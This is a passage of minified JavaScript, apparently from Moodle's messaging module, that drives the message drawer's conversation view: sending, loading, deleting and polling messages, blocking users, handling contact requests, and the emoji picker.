define(&quot;core_message/message_drawer_view_conversation&quot;,[&quot;jquery&quot;,&quot;core/auto_rows&quot;,&quot;core/backoff_timer&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/pubsub&quot;,&quot;core/str&quot;,&quot;core_message/message_repository&quot;,&quot;core_message/message_drawer_events&quot;,&quot;core_message/message_drawer_view_conversation_constants&quot;,&quot;core_message/message_drawer_view_conversation_patcher&quot;,&quot;core_message/message_drawer_view_conversation_renderer&quot;,&quot;core_message/message_drawer_view_conversation_state_manager&quot;,&quot;core_message/message_drawer_router&quot;,&quot;core_message/message_drawer_routes&quot;,&quot;core/emoji/auto_complete&quot;,&quot;core/emoji/picker&quot;],(function($,AutoRows,BackOffTimer,CustomEvents,Notification,Pending,PubSub,Str,Repository,MessageDrawerEvents,Constants,Patcher,Renderer,StateManager,MessageDrawerRouter,MessageDrawerRoutes,initialiseEmojiAutoComplete,initialiseEmojiPicker){var stateCache={},viewState=null,loadedAllMessages=!1,messagesOffset=0,newMessagesPollTimer=null,isRendering=!1,renderBuffer=[],isResetting=!0,isSendingMessage=!1,isDeletingConversationContent=!1,sendMessageBuffer=[],render=null,renderers=[],NEWEST_FIRST=Constants.NEWEST_MESSAGES_FIRST,LOAD_MESSAGE_LIMIT=Constants.LOAD_MESSAGE_LIMIT,MILLISECONDS_IN_SEC=Constants.MILLISECONDS_IN_SEC,SELECTORS=Constants.SELECTORS,CONVERSATION_TYPES=Constants.CONVERSATION_TYPES,getOtherUserId=function(){if(!viewState||viewState.type==CONVERSATION_TYPES.PUBLIC)return null;var loggedInUserId=viewState.loggedInUserId;if(viewState.type==CONVERSATION_TYPES.SELF)return loggedInUserId;var otherUserIds=Object.keys(viewState.members).filter((function(userId){return loggedInUserId!=userId}));return otherUserIds.length?otherUserIds[0]:null},getMessagesOffset=function(){return messagesOffset},setMessagesOffset=function(value){messagesOffset=value,stateCache[viewState.id].messagesOffset=value},hasLoadedAllMessages=function(){return loadedAllMessages},setLoadedAllMessages=function(value){loadedAllMessages=value,stateCache[viewState.id].loadedAllMessages=value},formatConversationForEvent=function(state){return{id:state.id,name:state.name,subname:state.subname,imageUrl:state.imageUrl,isFavourite:state.isFavourite,isMuted:state.isMuted,type:state.type,totalMemberCount:state.totalMemberCount,loggedInUserId:state.loggedInUserId,messages:state.messages.map((function(message){return $.extend({},message)})),members:Object.keys(state.members).map((function(id){var formattedMember=$.extend({},state.members[id]);return formattedMember.contactrequests=state.members[id].contactrequests.map((function(request){return $.extend({},request)})),formattedMember}))}},updateStateFromConversation=function(conversation,loggedInUserId){var otherUser=null;if(conversation.type==CONVERSATION_TYPES.PRIVATE){var otherUsers=conversation.members.filter((function(member){return member.id!=loggedInUserId}));otherUser=otherUsers.length?otherUsers[0]:null}else conversation.type==CONVERSATION_TYPES.SELF&amp;&amp;(otherUser=conversation.members[0]);var name=conversation.name,imageUrl=conversation.imageurl;conversation.type!=CONVERSATION_TYPES.PUBLIC&amp;&amp;(name=name||otherUser?otherUser.fullname:&quot;&quot;,imageUrl=imageUrl||otherUser?otherUser.profileimageurl:&quot;&quot;);var newState=StateManager.addMembers(viewState,conversation.members);return newState=StateManager.setName(newState,name),newState=StateManager.setSubname(newState,conversation.subname),newState=StateManager.setType(newState,conversation.type),newState=StateManager.setImageUrl(newState,imageUrl),newState=StateManager.setTotalMemberCount(newState,conversation.membercount),newState=StateManager.setIsFavourite(newState,conversation.isfavourite),newState=StateManager.setIsMuted(newState,conversation.ismuted),newState=StateManager.addMessages(newState,conversation.messages),newState=StateManager.setCanDeleteMessagesForAllUsers(newState,conversation.candeletemessagesforallusers)},loadMessages=function(conversationId,limit,offset,newestFirst,ignoreList,timeFrom){return Repository.getMessages(viewState.loggedInUserId,conversationId,limit?limit+1:limit,offset,newestFirst,timeFrom).then((function(result){return result.id!=viewState.id&amp;&amp;(result.messages=[],result.id in stateCache&amp;&amp;delete stateCache[result.id]),result})).then((function(result){return result.messages.length&amp;&amp;ignoreList.length&amp;&amp;(result.messages=result.messages.filter((function(message){return ignoreList.indexOf(parseInt(message.id,10))&lt;0}))),result})).then((function(result){return limit?(result.messages.length&gt;limit?result.messages=result.messages.slice(0,-1):setLoadedAllMessages(!0),result):result})).then((function(result){var membersToAdd=result.members.filter((function(member){return!(member.id in viewState.members)})),newState=StateManager.addMembers(viewState,membersToAdd);return newState=StateManager.addMessages(newState,result.messages),newState=StateManager.setLoadingMessages(newState,!1),render(newState).then((function(){return result}))})).catch((function(error){var newState=StateManager.setLoadingMessages(viewState,!1);throw render(newState),error}))},markConversationAsRead=function(conversationId){var loggedInUserId=viewState.loggedInUserId,pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:markConversationAsRead&quot;);return Repository.markAllConversationMessagesAsRead(loggedInUserId,conversationId).then((function(){var newState=StateManager.markMessagesAsRead(viewState,viewState.messages);return PubSub.publish(MessageDrawerEvents.CONVERSATION_READ,conversationId),render(newState)})).then((function(result){return pendingPromise.resolve(),result}))},requestBlockUser=function(userId){cancelRequest(userId);var newState=StateManager.addPendingBlockUsersById(viewState,[userId]);render(newState)},blockUser=function(userId){var newState=StateManager.setLoadingConfirmAction(viewState,!0),pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:blockUser&quot;);return render(newState),Repository.blockUser(viewState.loggedInUserId,userId).then((function(profile){var newState=StateManager.addMembers(viewState,[profile]);return newState=StateManager.removePendingBlockUsersById(newState,[userId]),newState=StateManager.setLoadingConfirmAction(newState,!1),PubSub.publish(MessageDrawerEvents.CONTACT_BLOCKED,userId),render(newState)})).then((function(result){return pendingPromise.resolve(),result}))},requestUnblockUser=function(userId){cancelRequest(userId);var newState=StateManager.addPendingUnblockUsersById(viewState,[userId]);render(newState)},unblockUser=function(userId){var newState=StateManager.setLoadingConfirmAction(viewState,!0),pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:unblockUser&quot;);return render(newState),Repository.unblockUser(viewState.loggedInUserId,userId).then((function(profile){var newState=StateManager.addMembers(viewState,[profile]);return newState=StateManager.removePendingUnblockUsersById(newState,[userId]),newState=StateManager.setLoadingConfirmAction(newState,!1),PubSub.publish(MessageDrawerEvents.CONTACT_UNBLOCKED,userId),render(newState)})).then((function(result){return pendingPromise.resolve(),result}))},requestRemoveContact=function(userId){cancelRequest(userId);var newState=StateManager.addPendingRemoveContactsById(viewState,[userId]);render(newState)},removeContact=function(userId){var newState=StateManager.setLoadingConfirmAction(viewState,!0),pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:removeContact&quot;);return render(newState),Repository.deleteContacts(viewState.loggedInUserId,[userId]).then((function(profiles){var newState=StateManager.addMembers(viewState,profiles);return newState=StateManager.removePendingRemoveContactsById(newState,[userId]),newState=StateManager.setLoadingConfirmAction(newState,!1),PubSub.publish(MessageDrawerEvents.CONTACT_REMOVED,userId),render(newState)})).then((function(result){return pendingPromise.resolve(),result}))},requestAddContact=function(userId){cancelRequest(userId);var newState=StateManager.addPendingAddContactsById(viewState,[userId]);render(newState)},addContact=function(userId){var newState=StateManager.setLoadingConfirmAction(viewState,!0),pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:addContactRequests&quot;);return render(newState),Repository.createContactRequest(viewState.loggedInUserId,userId).then((function(response){if(!response.request)throw new Error(response.warnings[0].message);return response.request})).then((function(request){var newState=StateManager.removePendingAddContactsById(viewState,[userId]);return newState=StateManager.addContactRequests(newState,[request]),newState=StateManager.setLoadingConfirmAction(newState,!1),render(newState)})).then((function(result){return pendingPromise.resolve(),result}))},requestDeleteSelectedMessages=function(userId){var selectedMessageIds=viewState.selectedMessageIds;cancelRequest(userId);var newState=StateManager.addPendingDeleteMessagesById(viewState,selectedMessageIds);render(newState)},deleteSelectedMessages=function(){var pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:deleteSelectedMessages&quot;),messageIds=viewState.pendingDeleteMessageIds,sentMessages=viewState.messages.filter((function(message){return messageIds.indexOf(message.id)&gt;=0&amp;&amp;(&quot;sent&quot;==message.sendState||null===message.sendState)})),newState=StateManager.setLoadingConfirmAction(viewState,!0);render(newState);var deleteMessagesPromise=$.Deferred().resolve().promise();if(sentMessages.length){var sentMessageIds=sentMessages.map((function(message){return message.id}));deleteMessagesPromise=newState.deleteMessagesForAllUsers?Repository.deleteMessagesForAllUsers(viewState.loggedInUserId,sentMessageIds):Repository.deleteMessages(viewState.loggedInUserId,sentMessageIds)}return isDeletingConversationContent=!0,newMessagesPollTimer&amp;&amp;newMessagesPollTimer.stop(),deleteMessagesPromise.then((function(){var newState=StateManager.removeMessagesById(viewState,messageIds);newState=StateManager.removePendingDeleteMessagesById(newState,messageIds),newState=StateManager.removeSelectedMessagesById(newState,messageIds),newState=StateManager.setLoadingConfirmAction(newState,!1),newState=StateManager.setDeleteMessagesForAllUsers(newState,!1);var prevLastMessage=viewState.messages[viewState.messages.length-1],newLastMessage=newState.messages.length?newState.messages[newState.messages.length-1]:null;if(newLastMessage&amp;&amp;newLastMessage.id!=prevLastMessage.id){var conversation=formatConversationForEvent(newState);PubSub.publish(MessageDrawerEvents.CONVERSATION_NEW_LAST_MESSAGE,conversation)}else newState.messages.length||PubSub.publish(MessageDrawerEvents.CONVERSATION_DELETED,newState.id);return isDeletingConversationContent=!1,render(newState)})).then((function(result){return pendingPromise.resolve(),result})).catch(Notification.exception)},requestDeleteConversation=function(userId){cancelRequest(userId);var newState=StateManager.setPendingDeleteConversation(viewState,!0);render(newState)},deleteConversation=function(){var pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:markConversationAsRead&quot;),newState=StateManager.setLoadingConfirmAction(viewState,!0);return render(newState),isDeletingConversationContent=!0,newMessagesPollTimer&amp;&amp;newMessagesPollTimer.stop(),Repository.deleteConversation(viewState.loggedInUserId,viewState.id).then((function(){var newState=StateManager.removeMessages(viewState,viewState.messages);return newState=StateManager.removeSelectedMessagesById(newState,viewState.selectedMessageIds),newState=StateManager.setPendingDeleteConversation(newState,!1),newState=StateManager.setLoadingConfirmAction(newState,!1),PubSub.publish(MessageDrawerEvents.CONVERSATION_DELETED,newState.id),isDeletingConversationContent=!1,render(newState)})).then((function(result){return pendingPromise.resolve(),result}))},cancelRequest=function(userId){var pendingDeleteMessageIds=viewState.pendingDeleteMessageIds,newState=StateManager.removePendingAddContactsById(viewState,[userId]);newState=StateManager.removePendingRemoveContactsById(newState,[userId]),newState=StateManager.removePendingUnblockUsersById(newState,[userId]),newState=StateManager.removePendingBlockUsersById(newState,[userId]),newState=StateManager.removePendingDeleteMessagesById(newState,pendingDeleteMessageIds),newState=StateManager.setPendingDeleteConversation(newState,!1),newState=StateManager.setDeleteMessagesForAllUsers(newState,!1),render(newState)},acceptContactRequest=function(userId){var pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:acceptContactRequest&quot;),loggedInUserId=viewState.loggedInUserId,requests=viewState.members[userId].contactrequests.filter((function(request){return request.requesteduserid==loggedInUserId})),request=requests[0],newState=StateManager.setLoadingConfirmAction(viewState,!0);return render(newState),Repository.acceptContactRequest(userId,loggedInUserId).then((function(profile){var newState=StateManager.removeContactRequests(viewState,[request]);return newState=StateManager.addMembers(viewState,[profile]),newState=StateManager.setLoadingConfirmAction(newState,!1),render(newState)})).then((function(){PubSub.publish(MessageDrawerEvents.CONTACT_ADDED,viewState.members[userId]),PubSub.publish(MessageDrawerEvents.CONTACT_REQUEST_ACCEPTED,request)})).then((function(result){return pendingPromise.resolve(),result}))},declineContactRequest=function(userId){var pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:declineContactRequest&quot;),loggedInUserId=viewState.loggedInUserId,requests=viewState.members[userId].contactrequests.filter((function(request){return request.requesteduserid==loggedInUserId})),request=requests[0],newState=StateManager.setLoadingConfirmAction(viewState,!0);return render(newState),Repository.declineContactRequest(userId,loggedInUserId).then((function(profile){var newState=StateManager.removeContactRequests(viewState,[request]);return newState=StateManager.addMembers(viewState,[profile]),newState=StateManager.setLoadingConfirmAction(newState,!1),render(newState)})).then((function(){PubSub.publish(MessageDrawerEvents.CONTACT_REQUEST_DECLINED,request)})).then((function(result){return pendingPromise.resolve(),result}))},processSendMessageBuffer=function(){if(!isSendingMessage&amp;&amp;sendMessageBuffer.length){var pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:processSendMessageBuffer&quot;);isSendingMessage=!0;var messagesToSend=sendMessageBuffer.slice();sendMessageBuffer=[];var conversationId=viewState.id,newConversationId=null,messagesText=messagesToSend.map((function(message){return message.text})),messageIds=messagesToSend.map((function(message){return message.id})),sendMessagePromise=null,newCanDeleteMessagesForAllUsers=null;if(conversationId||viewState.type==CONVERSATION_TYPES.PUBLIC)sendMessagePromise=Repository.sendMessagesToConversation(conversationId,messagesText);else{var otherUserId=getOtherUserId();sendMessagePromise=Repository.sendMessagesToUser(otherUserId,messagesText).then((function(messages){return messages.length&amp;&amp;(newConversationId=parseInt(messages[0].conversationid,10),newCanDeleteMessagesForAllUsers=messages[0].candeletemessagesforallusers),messages}))}sendMessagePromise.then((function(messages){var newMessageIds=messages.map((function(message){return message.id})),data=[],selectedToRemove=[],selectedToAdd=[];messagesToSend.forEach((function(oldMessage,index){var newMessage=messages[index];data.push([oldMessage,newMessage]),viewState.selectedMessageIds.indexOf(oldMessage.id)&gt;=0&amp;&amp;(selectedToRemove.push(oldMessage.id),selectedToAdd.push(newMessage.id))}));var newState=StateManager.updateMessages(viewState,data);newState=StateManager.setMessagesSendSuccessById(newState,newMessageIds),selectedToRemove.length&amp;&amp;(newState=StateManager.removeSelectedMessagesById(newState,selectedToRemove)),selectedToAdd.length&amp;&amp;(newState=StateManager.addSelectedMessagesById(newState,selectedToAdd));var conversation=formatConversationForEvent(newState);newState.id||(newState=StateManager.setId(newState,newConversationId),conversation.id=newConversationId,resetMessagePollTimer(newConversationId),PubSub.publish(MessageDrawerEvents.CONVERSATION_CREATED,conversation),newState=StateManager.setCanDeleteMessagesForAllUsers(newState,newCanDeleteMessagesForAllUsers)),render(newState),isSendingMessage=!1,processSendMessageBuffer(),PubSub.publish(MessageDrawerEvents.CONVERSATION_NEW_LAST_MESSAGE,conversation)})).then((function(result){return pendingPromise.resolve(),result})).catch((function(e){var errorMessage;errorMessage=e.message?$.Deferred().resolve(e.message).promise():Str.get_string(&quot;unknownerror&quot;,&quot;core&quot;);var handleFailedMessages=function(errorMessage){var newState=StateManager.setMessagesSendFailById(viewState,messageIds,errorMessage);render(newState),isSendingMessage=!1,processSendMessageBuffer()};errorMessage.then(handleFailedMessages).then((function(result){return pendingPromise.resolve(),result})).catch((function(e){var finalError=e.message||&quot;Something went wrong!&quot;;handleFailedMessages(finalError)}))}))}};const previewText=function(text){let plaintext=text.replace(/&lt;style([\s\S]*?)&lt;\/style&gt;/gi,&quot;&quot;);return plaintext=plaintext.replace(/&lt;script([\s\S]*?)&lt;\/script&gt;/gi,&quot;&quot;),plaintext=plaintext.replace(/&lt;\/div&gt;/gi,&quot;\n&quot;),plaintext=plaintext.replace(/&lt;\/li&gt;/gi,&quot;\n&quot;),plaintext=plaintext.replace(/&lt;li&gt;/gi,&quot;  *  &quot;),plaintext=plaintext.replace(/&lt;\/ul&gt;/gi,&quot;\n&quot;),plaintext=plaintext.replace(/&lt;\/p&gt;/gi,&quot;\n&quot;),plaintext=plaintext.replace(/&lt;br[^&gt;]*&gt;/gi,&quot;\n&quot;),plaintext=plaintext.replace(/&lt;[^&gt;]+&gt;/gi,&quot;&quot;),plaintext=plaintext.replace(/\n+/gi,&quot;\n&quot;),plaintext.replace(/\n/gi,&quot;&lt;br&gt;&quot;)};var processRenderBuffer=function(header,body,footer){if(!isRendering&amp;&amp;renderBuffer.length){isRendering=!0;var renderable=renderBuffer.shift(),renderPromises=renderers.map((function(renderFunc){return renderFunc(renderable.patch)}));$.when.apply(null,renderPromises).then((function(){isRendering=!1,renderable.deferred.resolve(!0),processRenderBuffer(header,body,footer)})).catch((function(error){isRendering=!1,renderable.deferred.reject(error),Notification.exception(error)}))}},generateConfirmActionHandler=function(actionCallback){return function(e,data){if(!viewState.loadingConfirmAction){actionCallback(getOtherUserId());var newState=StateManager.setLoadingConfirmAction(viewState,!1);render(newState)}data.originalEvent.preventDefault()}},handleSendMessage=function(e,data){var textArea=$(e.target).closest(SELECTORS.FOOTER_CONTAINER).find(SELECTORS.MESSAGE_TEXT_AREA),text=textArea.val().trim();&quot;&quot;!==text&amp;&amp;(!function(text){var id=&quot;temp&quot;+Date.now();let loadingmessage={id:id,useridfrom:viewState.loggedInUserId,text:previewText(text),timecreated:null};var newState=StateManager.addMessages(viewState,[loadingmessage]);render(newState);var message={id:id,useridfrom:viewState.loggedInUserId,text:text,timecreated:null};sendMessageBuffer.push(message),processSendMessageBuffer()}(text),textArea.val(&quot;&quot;),textArea.focus()),data.originalEvent.preventDefault()},handleSelectMessage=function(e,data){var selection=window.getSelection(),target=$(e.target);&quot;&quot;==selection.toString()&amp;&amp;(target.is(&quot;a&quot;)||(!function(messageId){var newState=viewState;newState=viewState.selectedMessageIds.indexOf(messageId)&gt;-1?StateManager.removeSelectedMessagesById(viewState,[messageId]):StateManager.addSelectedMessagesById(viewState,[messageId]),render(newState)}(target.closest(SELECTORS.MESSAGE).attr(&quot;data-message-id&quot;)),data.originalEvent.preventDefault()))},handleRetrySendMessage=function(e,data){var messageId=$(e.target).closest(SELECTORS.MESSAGE).attr(&quot;data-message-id&quot;),messages=viewState.messages.filter((function(message){return message.id==messageId})),message=messages.length?messages[0]:null;message&amp;&amp;function(message){var newState=StateManager.setMessagesSendPendingById(viewState,[message.id]);render(newState),sendMessageBuffer.push(message),processSendMessageBuffer()}(message),data.originalEvent.preventDefault(),data.originalEvent.stopPropagation(),e.stopPropagation()},handleCancelEditMode=function(e,data){!function(){cancelRequest(getOtherUserId());var newState=StateManager.removeSelectedMessagesById(viewState,viewState.selectedMessageIds);render(newState)}(),data.originalEvent.preventDefault()},generateHandleViewContact=function(namespace){return function(e,data){var otherUserId=getOtherUserId(),otherUser=viewState.members[otherUserId];MessageDrawerRouter.go(namespace,MessageDrawerRoutes.VIEW_CONTACT,otherUser),data.originalEvent.preventDefault()}},handleSetFavourite=function(e,data){var userId,conversationId,pendingPromise;(userId=viewState.loggedInUserId,conversationId=viewState.id,pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:setFavourite&quot;),Repository.setFavouriteConversations(userId,[conversationId]).then((function(){var newState=StateManager.setIsFavourite(viewState,!0);return render(newState)})).then((function(){return PubSub.publish(MessageDrawerEvents.CONVERSATION_SET_FAVOURITE,formatConversationForEvent(viewState))})).then((function(result){return pendingPromise.resolve(),result}))).catch(Notification.exception),data.originalEvent.preventDefault()},handleUnsetFavourite=function(e,data){var userId,conversationId,pendingPromise;(userId=viewState.loggedInUserId,conversationId=viewState.id,pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:unsetFavourite&quot;),Repository.unsetFavouriteConversations(userId,[conversationId]).then((function(){var newState=StateManager.setIsFavourite(viewState,!1);return render(newState)})).then((function(){return PubSub.publish(MessageDrawerEvents.CONVERSATION_UNSET_FAVOURITE,formatConversationForEvent(viewState))})).then((function(result){return pendingPromise.resolve(),result}))).catch(Notification.exception),data.originalEvent.preventDefault()},handleSetMuted=function(e,data){var userId,conversationId,pendingPromise;(userId=viewState.loggedInUserId,conversationId=viewState.id,pendingPromise=new Pending(&quot;core_message/message_drawer_view_conversation:markConversationAsRead&quot;),Repository.setMutedConversations(userId,[conversationId]).then((function(){var newState=StateManager.setIsMuted(viewState,!0);return render(newState)})).then((function(){return PubSub.publish(MessageDrawerEvents.CONVERSATION_SET_MUTED,formatConversationForEvent(viewState))})).then((function(result){return pendingPromise.resolve(),result}))).catch(Notification.exception),data.originalEvent.preventDefault()},handleUnsetMuted=function(e,data){var userId,conversationId;(userId=viewState.loggedInUserId,conversationId=viewState.id,Repository.unsetMutedConversations(userId,[conversationId]).then((function(){var newState=StateManager.setIsMuted(viewState,!1);return render(newState)})).then((function(){return PubSub.publish(MessageDrawerEvents.CONVERSATION_UNSET_MUTED,formatConversationForEvent(viewState))}))).catch(Notification.exception),data.originalEvent.preventDefault()},handleDeleteMessagesForAllUsersToggle=function(e){var newValue=$(e.target).prop(&quot;checked&quot;),newState=StateManager.setDeleteMessagesForAllUsers(viewState,newValue);render(newState)},generateHandleViewGroupInfo=function(namespace){return function(e,data){MessageDrawerRouter.go(namespace,MessageDrawerRoutes.VIEW_GROUP_INFO,{id:viewState.id,name:viewState.name,subname:viewState.subname,imageUrl:viewState.imageUrl,totalMemberCount:viewState.totalMemberCount},viewState.loggedInUserId),data.originalEvent.preventDefault()}},handleToggleEmojiPicker=function(e,data){var newState=StateManager.setShowEmojiPicker(viewState,!viewState.showEmojiPicker);render(newState),data.originalEvent.preventDefault()},handleCloseEmojiPicker=function(e){var target=$(e.target);if(viewState.showEmojiPicker&amp;&amp;!target.closest(SELECTORS.EMOJI_PICKER_CONTAINER).length&amp;&amp;!target.closest(SELECTORS.TOGGLE_EMOJI_PICKER_BUTTON).length){var newState=StateManager.setShowEmojiPicker(viewState,!1);render(newState)}},registerEventListeners=function(namespace,header,body,footer){var isLoadingMoreMessages=!1,messagesContainer=function(body){return body.find(SELECTORS.MESSAGES_CONTAINER)}(body),emojiPickerElement=footer.find(SELECTORS.EMOJI_PICKER),emojiAutoCompleteContainer=footer.find(SELECTORS.EMOJI_AUTO_COMPLETE_CONTAINER),messageTextArea=footer.find(SELECTORS.MESSAGE_TEXT_AREA),headerActivateHandlers=[[SELECTORS.ACTION_REQUEST_BLOCK,generateConfirmActionHandler(requestBlockUser)],[SELECTORS.ACTION_REQUEST_UNBLOCK,generateConfirmActionHandler(requestUnblockUser)],[SELECTORS.ACTION_REQUEST_ADD_CONTACT,generateConfirmActionHandler(requestAddContact)],[SELECTORS.ACTION_REQUEST_REMOVE_CONTACT,generateConfirmActionHandler(requestRemoveContact)],[SELECTORS.ACTION_REQUEST_DELETE_CONVERSATION,generateConfirmActionHandler(requestDeleteConversation)],[SELECTORS.ACTION_CANCEL_EDIT_MODE,handleCancelEditMode],[SELECTORS.ACTION_VIEW_CONTACT,generateHandleViewContact(namespace)],[SELECTORS.ACTION_VIEW_GROUP_INFO,generateHandleViewGroupInfo(namespace)],[SELECTORS.ACTION_CONFIRM_FAVOURITE,handleSetFavourite],[SELECTORS.ACTION_CONFIRM_MUTE,handleSetMuted],[SELECTORS.ACTION_CONFIRM_UNFAVOURITE,handleUnsetFavourite],[SELECTORS.ACTION_CONFIRM_UNMUTE,handleUnsetMuted]],bodyActivateHandlers=[[SELECTORS.ACTION_CANCEL_CONFIRM,generateConfirmActionHandler(cancelRequest)],[SELECTORS.ACTION_CONFIRM_BLOCK,generateConfirmActionHandler(blockUser)],[SELECTORS.ACTION_CONFIRM_UNBLOCK,generateConfirmActionHandler(unblockUser)],[SELECTORS.ACTION_CONFIRM_ADD_CONTACT,generateConfirmActionHandler(addContact)],[SELECTORS.ACTION_CONFIRM_REMOVE_CONTACT,generateConfirmActionHandler(removeContact)],[SELECTORS.ACTION_CONFIRM_DELETE_SELECTED_MESSAGES,generateConfirmActionHandler(deleteSelectedMessages)],[SELECTORS.ACTION_CONFIRM_DELETE_CONVERSATION,generateConfirmActionHandler(deleteConversation)],[SELECTORS.ACTION_OKAY_CONFIRM,generateConfirmActionHandler(cancelRequest)],[SELECTORS.ACTION_REQUEST_ADD_CONTACT,generateConfirmActionHandler(requestAddContact)],[SELECTORS.ACTION_ACCEPT_CONTACT_REQUEST,generateConfirmActionHandler(acceptContactRequest)],[SELECTORS.ACTION_DECLINE_CONTACT_REQUEST,generateConfirmActionHandler(declineContactRequest)],[SELECTORS.MESSAGE,handleSelectMessage],[SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE,handleDeleteMessagesForAllUsersToggle],[SELECTORS.RETRY_SEND,handleRetrySendMessage]],footerActivateHandlers=[[SELECTORS.SEND_MESSAGE_BUTTON,handleSendMessage],[SELECTORS.TOGGLE_EMOJI_PICKER_BUTTON,handleToggleEmojiPicker],[SELECTORS.ACTION_REQUEST_DELETE_SELECTED_MESSAGES,generateConfirmActionHandler(requestDeleteSelectedMessages)],[SELECTORS.ACTION_REQUEST_ADD_CONTACT,generateConfirmActionHandler(requestAddContact)],[SELECTORS.ACTION_REQUEST_UNBLOCK,generateConfirmActionHandler(requestUnblockUser)]];AutoRows.init(footer),emojiAutoCompleteContainer.length&amp;&amp;initialiseEmojiAutoComplete(emojiAutoCompleteContainer[0],messageTextArea[0],(function(hasSuggestions){var newState=StateManager.setShowEmojiAutoComplete(viewState,hasSuggestions);render(newState)}),(function(emoji){var newState=StateManager.setShowEmojiAutoComplete(viewState,!1);render(newState),messageTextArea.focus();var cursorPos=messageTextArea.prop(&quot;selectionStart&quot;),currentText=messageTextArea.val(),textBefore=currentText.substring(0,cursorPos).replace(/\S*$/,&quot;&quot;),textAfter=currentText.substring(cursorPos).replace(/^\S*/,&quot;&quot;);messageTextArea.val(textBefore+emoji+textAfter),messageTextArea.prop(&quot;selectionStart&quot;,textBefore.length+emoji.length),messageTextArea.prop(&quot;selectionEnd&quot;,textBefore.length+emoji.length)})),emojiPickerElement.length&amp;&amp;initialiseEmojiPicker(emojiPickerElement[0],(function(emoji){var newState=StateManager.setShowEmojiPicker(viewState,!viewState.showEmojiPicker);render(newState),messageTextArea.focus();var cursorPos=messageTextArea.prop(&quot;selectionStart&quot;),currentText=messageTextArea.val(),textBefore=currentText.substring(0,cursorPos),textAfter=currentText.substring(cursorPos,currentText.length);messageTextArea.val(textBefore+emoji+textAfter),messageTextArea.prop(&quot;selectionStart&quot;,cursorPos+emoji.length),messageTextArea.prop(&quot;selectionEnd&quot;,cursorPos+emoji.length)})),CustomEvents.define(header,[CustomEvents.events.activate]),CustomEvents.define(body,[CustomEvents.events.activate]),CustomEvents.define(footer,[CustomEvents.events.activate,CustomEvents.events.enter,CustomEvents.events.escape]),CustomEvents.define(messagesContainer,[CustomEvents.events.scrollTop,CustomEvents.events.scrollLock]),messagesContainer.on(CustomEvents.events.scrollTop,(function(e,data){var hasMembers=Object.keys(viewState.members).length&gt;1;if(!isResetting&amp;&amp;!isLoadingMoreMessages&amp;&amp;!hasLoadedAllMessages()&amp;&amp;hasMembers){isLoadingMoreMessages=!0;var newState=StateManager.setLoadingMessages(viewState,!0);render(newState),loadMessages(viewState.id,LOAD_MESSAGE_LIMIT,getMessagesOffset(),NEWEST_FIRST,[]).then((function(){isLoadingMoreMessages=!1,setMessagesOffset(getMessagesOffset()+LOAD_MESSAGE_LIMIT)})).catch((function(error){isLoadingMoreMessages=!1,Notification.exception(error)}))}data.originalEvent.preventDefault()})),headerActivateHandlers.forEach((function(handler){var selector=handler[0],handlerFunction=handler[1];header.on(CustomEvents.events.activate,selector,handlerFunction)})),bodyActivateHandlers.forEach((function(handler){var selector=handler[0],handlerFunction=handler[1];body.on(CustomEvents.events.activate,selector,handlerFunction)})),footerActivateHandlers.forEach((function(handler){var selector=handler[0],handlerFunction=handler[1];footer.on(CustomEvents.events.activate,selector,handlerFunction)})),footer.on(CustomEvents.events.enter,SELECTORS.MESSAGE_TEXT_AREA,(function(e,data){var enterToSend=footer.attr(&quot;data-enter-to-send&quot;);enterToSend&amp;&amp;&quot;false&quot;!=enterToSend&amp;&amp;&quot;0&quot;!=enterToSend&amp;&amp;handleSendMessage(e,data)})),footer.on(CustomEvents.events.escape,SELECTORS.EMOJI_PICKER_CONTAINER,handleToggleEmojiPicker),$(document.body).on(&quot;click&quot;,handleCloseEmojiPicker),PubSub.subscribe(MessageDrawerEvents.ROUTE_CHANGED,(function(newRouteData){newMessagesPollTimer&amp;&amp;newRouteData.route!=MessageDrawerRoutes.VIEW_CONVERSATION&amp;&amp;newMessagesPollTimer.stop()}))},resetMessagePollTimer=function(conversationId){newMessagesPollTimer&amp;&amp;newMessagesPollTimer.stop(),newMessagesPollTimer=new BackOffTimer(function(conversationId,newestFirst){return function(){var messages=viewState.messages,mostRecentMessage=messages.length?messages[messages.length-1]:null,lastTimeCreated=mostRecentMessage?mostRecentMessage.timeCreated:null;if(lastTimeCreated&amp;&amp;!isResetting&amp;&amp;!isSendingMessage&amp;&amp;!isDeletingConversationContent){for(var ignoreMessageIds=[],i=messages.length-1;i&gt;=0;i--){var message=messages[i];if(message.timeCreated!==lastTimeCreated)break;ignoreMessageIds.push(message.id)}return loadMessages(conversationId,0,0,newestFirst,ignoreMessageIds,lastTimeCreated).then((function(result){if(result.messages.length){newMessagesPollTimer.restart();var conversation=formatConversationForEvent(viewState);return PubSub.publish(MessageDrawerEvents.CONVERSATION_NEW_LAST_MESSAGE,conversation),markConversationAsRead(conversationId)}return result}))}return $.Deferred().resolve().promise()}}(conversationId,NEWEST_FIRST),BackOffTimer.getIncrementalCallback(viewState.messagePollMin*MILLISECONDS_IN_SEC,MILLISECONDS_IN_SEC,viewState.messagePollMax*MILLISECONDS_IN_SEC,viewState.messagePollAfterMax*MILLISECONDS_IN_SEC)),newMessagesPollTimer.start()},resetState=function(body,conversationId,loggedInUserProfile){newMessagesPollTimer&amp;&amp;newMessagesPollTimer.stop(),loadedAllMessages=!1,messagesOffset=0,newMessagesPollTimer=null,isRendering=!1,renderBuffer=[],isResetting=!0,isSendingMessage=!1,isDeletingConversationContent=!1,sendMessageBuffer=[];var 